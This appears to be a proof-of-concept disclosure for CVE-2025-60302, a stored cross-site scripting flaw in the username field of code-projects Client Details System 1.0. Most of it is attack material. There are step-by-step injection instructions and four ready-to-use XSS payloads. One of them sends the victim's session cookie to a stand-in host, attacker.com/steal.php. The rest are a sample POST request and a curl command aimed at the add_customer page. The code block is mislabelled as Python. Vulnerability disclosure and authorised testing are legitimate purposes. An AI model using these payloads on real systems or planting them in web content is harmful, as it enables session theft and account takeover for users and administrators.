code-projects Client Details System 1.0 is vulnerable to Cross Site Scripting (XSS). When adding customer information, the client details system fills in malicious JavaScript code in the username field.
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60302 PoC: Stored XSS in code-projects Client Details System 1.0 -->
<!-- Attack Vector: Inject malicious JavaScript via the username field when adding customer information -->
<!-- Step 1: Navigate to the "Add Customer" page -->
<!-- Step 2: Fill in the customer form with the following malicious payload in the username field -->
<!-- Payload 1: Basic alert script -->
<script>alert('XSS-Vulnerability-CVE-2025-60302')</script>
<!-- Payload 2: Cookie stealing (for demonstration) -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- Payload 3: Event-based XSS -->
<img src=x onerror=alert(document.cookie)>
<!-- Payload 4: SVG-based XSS -->
<svg onload=alert(1)>
<!-- Step 3: Submit the form to store the malicious payload in the database -->
<!-- Step 4: When any user (especially admin) views the customer list or details page, -->
<!-- the injected JavaScript will execute in their browser context -->
<!-- HTTP Request Example (conceptual) -->
<!--
POST /add_customer.php HTTP/1.1
Host: target-host.com
Content-Type: application/x-www-form-urlencoded
username=<script>alert(document.cookie)</script>&[email protected]&phone=1234567890&address=test
-->
<!-- cURL command for testing -->
<!--
curl -X POST "http://target-host.com/add_customer.php" \
-d "username=<script>alert('XSS')</script>&[email protected]&phone=1234567890&address=test"
-->